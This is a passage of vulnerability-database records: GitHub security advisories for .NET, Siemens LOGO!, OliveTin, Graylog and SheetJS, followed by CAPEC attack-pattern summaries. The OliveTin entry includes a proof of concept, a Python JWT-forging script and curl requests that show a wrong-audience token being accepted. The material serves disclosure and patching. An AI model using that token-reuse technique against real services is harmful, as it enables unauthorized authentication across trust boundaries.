"details": "## Executive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET XML Encryption (System.Security.Cryptography.Xml). This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nA security feature bypass vulnerability exists in the XML encryption implementation (EncryptedXml) in .NET 8, .NET 9, and .NET 10. An attacker could exploit this vulnerability to bypass encryption protections and access encrypted data.\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/412.\n\n## CVSS Details\n\n- **Version:** 3.1\n- **Severity:** High\n- **Score:** 8.1\n- **Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C`\n- **Weakness:** CWE-347 (Improper Verification of Cryptographic Signature)\n\n## Affected Platforms\n\n- **Platforms:** All\n- **Architectures:** All\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET project if it uses any of affected package versions listed below\n\n### \u003ca name=\".NET 10.0\"\u003e\u003c/a\u003e.NET 10.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 10.0.0, \u003c= 10.0.9 | 10.0.10\n\n### \u003ca name=\".NET 9.0\"\u003e\u003c/a\u003e.NET 9.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 9.0.0, \u003c= 9.0.17 | 9.0.18\n\n### \u003ca name=\".NET 8.0\"\u003e\u003c/a\u003e.NET 8.0\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Security.Cryptography.Xml](https://www.nuget.org/packages/System.Security.Cryptography.Xml) | \u003e= 8.0.0, \u003c= 8.0.3 | 8.0.4\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf using a package listed in [affected packages](#affected-packages), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\nTo update the System.Security.Cryptography.Xml NuGet package, use one of the following methods:\n\nNuGet Package Manager UI in Visual Studio:\n- Open your project in Visual Studio.\n- Right-click on your project in Solution Explorer and select \"Manage NuGet Packages...\" or navigate to \"Project \u003e Manage NuGet Packages\".\n- In the NuGet Package Manager window, select the \"Updates\" tab. This tab lists packages with available updates from your configured package sources.\n- Select the package(s) you wish to update. You can choose a specific version from the dropdown or update to the latest available version.\n- Click the \"Update\" button.\n\nUsing the NuGet Package Manager Console in Visual Studio:\n- Open your project in Visual Studio.\n- Navigate to \"Tools \u003e NuGet Package Manager \u003e Package Manager Console\".\n- To update a specific package to its latest version, use the following Update-Package command:\n\n```Update-Package -Id System.Security.Cryptography.Xml```\n\nUsing the .NET CLI (Command Line Interface):\n- Open a terminal or command prompt in your project\u0027s directory.\n- To update a specific package to its latest version, use the following add package command:\n\n```dotnet add package System.Security.Cryptography.Xml```\n\nOnce you have updated the nuget package reference you must recompile and deploy your application. Additionally we recommend you update your runtime and/or SDKs, but it is not necessary to patch the vulnerability.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-47304]( https://www.cve.org/CVERecord?id=CVE-2026-47304)\n\n### Acknowledgements\n\nLevi Broderick with Microsoft\n\n### Revisions\n\nV1.0 (July 14, 2026): Advisory published.",
"id": "GHSA-g8r8-53c2-pm3f",
"modified": "2026-07-21T16:49:11Z",
"published": "2026-07-20T22:44:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-g8r8-53c2-pm3f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47304"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/412"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/issues/130709"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/runtime"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2026-47304 \u2013 .NET Security Feature Bypass Vulnerability"
}
GHSA-G8WQ-427W-WGQM
Vulnerability from github – Published: 2022-05-13 01:37 – Updated: 2022-05-13 01:37Siemens LOGO! Soft Comfort (All versions before V8.2) lacks integrity verification of software packages downloaded via an unprotected communication channel. This could allow a remote attacker to manipulate the software package while performing a Man-in-the-Middle (MitM) attack.
{
"affected": [],
"aliases": [
"CVE-2017-12740"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-494"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-12-26T04:29:00Z",
"severity": "MODERATE"
},
"details": "Siemens LOGO! Soft Comfort (All versions before V8.2) lacks integrity verification of software packages downloaded via an unprotected communication channel. This could allow a remote attacker to manipulate the software package while performing a Man-in-the-Middle (MitM) attack.",
"id": "GHSA-g8wq-427w-wgqm",
"modified": "2022-05-13T01:37:44Z",
"published": "2022-05-13T01:37:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-12740"
},
{
"type": "WEB",
"url": "https://www.siemens.com/cert/pool/cert/siemens_security_advisory_ssa-888929.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G962-2J28-3CG9
Vulnerability from github – Published: 2026-03-05 20:52 – Updated: 2026-03-06 22:52Summary
When JWT authentication is configured using either:
authJwtPubKeyPath(local RSA public key), orauthJwtHmacSecret(HMAC secret),
the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Details
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
PoC
- Configure OliveTin
Use a minimal config with JWT local key authentication: ```yaml authJwtPubKeyPath: ./public.pem authJwtHeader: Authorization authJwtClaimUsername: sub authJwtAud: expected-audience
authRequireGuestsToLogin: true ```
- Generate a Wrong-Audience Token ```python python3 - <<EOF import jwt, datetime
with open("private.pem") as f: key = f.read()
token = jwt.encode( { "sub": "low", "aud": "wrong-audience", # intentionally wrong "exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30) }, key, algorithm="RS256" )
print(token)
EOF
``
This prints the$WRONG_AUD_TOKEN`.
-
Test Without Token (Baseline)
bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -d '{}'Expected response:HTTP/1.1 401 Unauthorized -
Test With Wrong-Audience Token
bash curl -i -X POST http://localhost:1337/api/WhoAmI \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $WRONG_AUD_TOKEN" \ -d '{}'Expected response:HTTP/1.1 200 OK {"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}Authentication succeeds even though theaudclaim is incorrect.
Impact
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
- Cross-service token reuse
- Authentication using tokens issued for other systems
- Trust boundary violation in multi-service environments
This is particularly severe when:
- OliveTin is deployed behind a centralized SSO provider
- The same signing key is reused across services
- Audience restrictions are relied upon for service isolation
This does not bypass ACL authorization. It is strictly an authentication validation flaw.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/OliveTin/OliveTin"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260304231339-e97d8ecbd8d6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30223"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T20:52:12Z",
"nvd_published_at": "2026-03-06T21:16:16Z",
"severity": "HIGH"
},
"details": "### Summary\n\nWhen JWT authentication is configured using either:\n\n- `authJwtPubKeyPath` (local RSA public key), or\n- `authJwtHmacSecret` (HMAC secret),\n\nthe configured audience value (`authJwtAud`) is not enforced during token parsing.\nAs a result, validly signed JWT tokens with an incorrect `aud` claim are accepted for authentication.\nThis allows authentication using tokens intended for a different audience/service.\n\n### Details\n\n**Affected Code**\n\nFile: `jwt.go`\nLines: 51\u201359, 144\u2013157, 161\u2013168\n\n**Current Behavior**\n\nRemote JWKS Mode (Correct):\n```go\nreturn jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))\n```\nAudience validation is enforced.\n\nLocal Public Key Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\nHMAC Mode (Vulnerable):\n```go\nreturn jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })\n```\nNo `jwt.WithAudience()` option is provided.\n\n**Why This Is Vulnerable:** `authJwtAud` is ignored for `authJwtPubKeyPath` and `authJwtHmacSecret` modes, so wrong-audience tokens are accepted.\n\n### PoC\n\n1. **Configure OliveTin**\n\n Use a minimal config with JWT local key authentication:\n ```yaml\n authJwtPubKeyPath: ./public.pem\n authJwtHeader: Authorization\n authJwtClaimUsername: sub\n authJwtAud: expected-audience\n\n authRequireGuestsToLogin: true\n ```\n\n2. **Generate a Wrong-Audience Token**\n ```python\n python3 - \u003c\u003cEOF\n import jwt, datetime\n\n with open(\"private.pem\") as f:\n key = f.read()\n\n token = jwt.encode(\n {\n \"sub\": \"low\",\n \"aud\": \"wrong-audience\", # intentionally wrong\n \"exp\": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)\n },\n key,\n algorithm=\"RS256\"\n )\n\n print(token)\n EOF\n ```\n This prints the `$WRONG_AUD_TOKEN`.\n\n3. **Test Without Token (Baseline)**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{}\u0027\n ```\n Expected response:\n ```\n HTTP/1.1 401 Unauthorized\n ```\n\n4. **Test With Wrong-Audience Token**\n ```bash\n curl -i -X POST http://localhost:1337/api/WhoAmI \\\n -H \u0027Content-Type: application/json\u0027 \\\n -H \"Authorization: Bearer $WRONG_AUD_TOKEN\" \\\n -d \u0027{}\u0027\n ```\n Expected response:\n ```\n HTTP/1.1 200 OK\n {\"authenticatedUser\":\"low\",\"provider\":\"jwt\",\"usergroup\":\"\",\"acls\":[],\"sid\":\"\"}\n ```\n Authentication succeeds even though the `aud` claim is incorrect.\n\n### Impact\n\nAn attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.\n\nThis enables:\n\n- Cross-service token reuse\n- Authentication using tokens issued for other systems\n- Trust boundary violation in multi-service environments\n\nThis is particularly severe when:\n\n- OliveTin is deployed behind a centralized SSO provider\n- The same signing key is reused across services\n- Audience restrictions are relied upon for service isolation\n\nThis does **not** bypass ACL authorization.\nIt is strictly an authentication validation flaw.",
"id": "GHSA-g962-2j28-3cg9",
"modified": "2026-03-06T22:52:10Z",
"published": "2026-03-05T20:52:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-g962-2j28-3cg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30223"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/commit/e97d8ecbd8d6ba468c418ca496fcd18f78131233"
},
{
"type": "PACKAGE",
"url": "https://github.com/OliveTin/OliveTin"
},
{
"type": "WEB",
"url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OliveTin has JWT Audience Validation Bypass in Local Key and HMAC Modes"
}
GHSA-G96C-X7RH-99R3
Vulnerability from github – Published: 2023-07-06 20:51 – Updated: 2023-09-07 21:19Summary
Graylog utilises only one single source port for DNS queries.
Details
Graylog seems to bind a single socket for outgoing DNS queries. That socket is bound to a random port number which is not changed again. This goes against recommended practice since 2008, when Dan Kaminsky discovered how easy is to carry out DNS cache poisoning attacks. In order to prevent cache poisoning with spoofed DNS responses, it is necessary to maximise the uncertainty in the choice of a source port for a DNS query.
PoC
The attached figure shows the source ports distribution difference between Graylog configured to use a data adapter based on DNS queries and ISC Bind. The source port distribution of the DNS queries sent from Graylog to a recursive DNS name server running Bind (CLIENT_QUERY) are depicted in purple, while the queries sent from the recursive DNS server to the authoritatives (RESOLVER_QUERY) are plotted in green color. As it can be observed, in contrast to ISC Bind which presents a heterogeneous usage of source port, Graylog utilises a single source port.
Impact
Although unlikely in many setups, an external attacker could inject forged DNS responses into a Graylog's lookup table cache. In order to prevent this, it is at least recommendable to distribute the DNS queries through a pool of distinct sockets, each of them with a random source port and renew them periodically.
(Credit to Iratxe Niño from Fundación Sarenet and Borja Marcos from Sarenet)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.graylog2:graylog2-server"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "5.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.graylog2:graylog2-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-41045"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-06T20:51:48Z",
"nvd_published_at": "2023-08-31T18:15:09Z",
"severity": "LOW"
},
"details": "### Summary\nGraylog utilises only one single source port for DNS queries.\n\n### Details\nGraylog seems to bind a single socket for outgoing DNS queries. That socket is bound to a random port number which is not changed again. This goes against recommended practice since 2008, when Dan Kaminsky discovered how easy is to carry out DNS cache poisoning attacks. In order to prevent cache poisoning with spoofed DNS responses, it is necessary to maximise the uncertainty in the choice of a source port for a DNS query.\n\n\n### PoC \n\nThe attached figure shows the source ports distribution difference between Graylog configured to use a data adapter based on DNS queries and ISC Bind. The source port distribution of the DNS queries sent from Graylog to a recursive DNS name server running Bind (CLIENT_QUERY) are depicted in purple, while the queries sent from the recursive DNS server to the authoritatives (RESOLVER_QUERY) are plotted in green color. As it can be observed, in contrast to ISC Bind which presents a heterogeneous usage of source port, Graylog utilises a single source port.\n\n\n\n### Impact\nAlthough unlikely in many setups, an external attacker could inject forged DNS responses into a Graylog\u0027s lookup table cache. In order to prevent this, it is at least recommendable to distribute the DNS queries through a pool of distinct sockets, each of them with a random source port and renew them periodically.\n\n\n\n(Credit to Iratxe Ni\u00f1o from Fundaci\u00f3n Sarenet and Borja Marcos from Sarenet)",
"id": "GHSA-g96c-x7rh-99r3",
"modified": "2023-09-07T21:19:13Z",
"published": "2023-07-06T20:51:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/security/advisories/GHSA-g96c-x7rh-99r3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-41045"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/commit/466af814523cffae9fbc7e77bab7472988f03c3e"
},
{
"type": "WEB",
"url": "https://github.com/Graylog2/graylog2-server/commit/a101f4f12180fd3dfa7d3345188a099877a3c327"
},
{
"type": "PACKAGE",
"url": "https://github.com/Graylog2/graylog2-server"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Graylog vulnerable to insecure source port usage for DNS queries"
}
GHSA-G973-978J-2C3P
Vulnerability from github – Published: 2021-07-22 19:47 – Updated: 2022-02-08 21:02SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "xlsx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.webjars.npm:xlsx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.17.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-32014"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2021-07-19T21:44:42Z",
"nvd_published_at": "2021-07-19T14:15:00Z",
"severity": "MODERATE"
},
"details": "SheetJS Pro through 0.16.9 allows attackers to cause a denial of service (CPU consumption) via a crafted .xlsx document that is mishandled when read by xlsx.js.",
"id": "GHSA-g973-978j-2c3p",
"modified": "2022-02-08T21:02:26Z",
"published": "2021-07-22T19:47:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32014"
},
{
"type": "WEB",
"url": "https://floqast.com/engineering-blog/post/fuzzing-and-parsing-securely"
},
{
"type": "WEB",
"url": "https://sheetjs.com/pro"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/xlsx/v/0.17.0"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujan2022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Denial of Service in SheetJS Pro"
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.